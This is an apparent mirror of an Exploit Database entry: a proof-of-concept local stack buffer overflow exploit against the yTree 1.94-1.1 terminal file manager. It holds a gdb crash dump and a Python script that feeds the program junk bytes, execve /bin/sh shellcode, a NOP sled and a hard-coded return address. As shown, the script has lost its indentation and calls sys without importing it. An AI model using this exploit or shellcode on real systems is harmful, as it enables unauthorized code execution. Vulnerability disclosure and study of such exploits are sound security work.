yTree 1.94-1.1 – Local Buffer Overflow (PoC)

Exploit Database
115 阅读

作者： Juan Sacco

日期： 2016-02-03
类别：
- dos
平台：
- linux
来源：https://www.exploit-db.com/exploits/39406/

# Exploit Author: Juan Sacco - http://www.exploitpack.com -jsacco@exploitpack.com

# Program affected: yTree - File manager for terminals v1.94-1.1

# Description: yTree is prone to a stack-based overflow, an attacker could exploit

# this issue to execute arbitrary code in the context of the application.

# Failed exploit attempts will result in a denial-of-service condition.

# Tested and developed on:Kali Linux 2.0 x86 - https://www.kali.org

# Program Description: This is a file manager that separates files from directories

# and allows you to select and manage files from different directories.

# It works on black and white or color terminals and is UTF-8 locales aware.

# Vendor homepage: http://www.han.de/~werner/ytree.html

# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb

# MD5sum: 7d55d9c7e8afb4405c149463613f596b

# Program received signal SIGSEGV, Segmentation fault.

# --------------------------------------------------------------------------[regs]

# EAX: 0x41414141EBX: 0xB7FB8000ECX: 0x00000000EDX: 0x08071342o d I t s z a P c

# ESI: 0xBFFFF134EDI: 0x41414141EBP: 0x0806FC60ESP: 0xBFFFDC50EIP: 0xB7F888C1

# CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B

# --------------------------------------------------------------------------[code]

# => 0xb7f888c1 <werase+49>: moveax,DWORD PTR [eax+0x4c]

#0xb7f888c4 <werase+52>: movDWORD PTR [esp+0x24],eax

#0xb7f888c8 <werase+56>: moveax,DWORD PTR [edi+0x50]

#0xb7f888cb <werase+59>: movDWORD PTR [esp+0x28],eax

#0xb7f888cf <werase+63>: moveax,DWORD PTR [edi+0x54]

#0xb7f888d2 <werase+66>: movDWORD PTR [esp+0x2c],eax

#0xb7f888d6 <werase+70>: moveax,DWORD PTR [edi+0x58]

#0xb7f888d9 <werase+73>: movDWORD PTR [esp+0x30],eax

# --------------------------------------------------------------------------------

# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5

# gdb$ backtrace

# 00xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5

# 10x08050f43 in ?? ()

# 20x08051182 in ?? ()

# 30x0805972f in ?? ()

# 40x0804a68a in ?? ()

# 50xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287

# 60x0804a701 in ?? ()

import os,subprocess

def run():

try:

print "# yTree Buffer Overflow by Juan Sacco"

print "# It's fuzzing time on unusable exploits"

print "# This exploit is for educational purposes only"

# JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*65

shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

nops = "\x90"*1200

eip = "\xd0\xf6\xff\xbf"

subprocess.call(["ytree",' ', junk + shellcode + nops + eip])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "Sorry, yTree not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Snap! Something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit yTree v1.94-1.1 Local Overflow Exploit"

print "Author: Juan Sacco"

except IndexError:

howtousage()

run()